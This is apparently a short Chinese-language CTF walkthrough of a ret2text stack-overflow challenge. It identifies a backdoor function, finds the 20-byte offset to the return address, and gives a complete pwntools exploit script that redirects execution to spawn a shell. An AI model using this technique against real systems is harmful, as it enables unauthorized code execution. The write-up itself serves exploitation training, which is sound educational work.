栈溢出--ret2text
静态分析
找到main函数发现有一个明显的带有提示信息命名的函数

跟进去之后发现存在栈溢出漏洞

程序中在0x8048522地址处存在后门函数,可以获得系统shell

检查安全属性
此程序无栈溢出保护,且无PIE保护

动态分析
在跟入到gets函数调用的位置,我们输入4字节的数据看下栈中数据情况

可以看到此时局部变量在栈中的地址为0xffbb9308,返回地址在0xffbb931c,相差20字节,所以要想覆盖返回值地址,我们需要填充20字节的垃圾数据

由于PIE未开启,可以通过ida查看到的后门入口地址覆盖返回地址,达到getshell的目的
exp编写
from pwn import *
io = process("/home/pwn/桌面/题目/ROP/ret2text")
first_message = io.recvline()
print(first_message)
payload = b"A"*20
io.sendline(payload + p32(0x8048522))
io.interactive()

浙公网安备 33010602011771号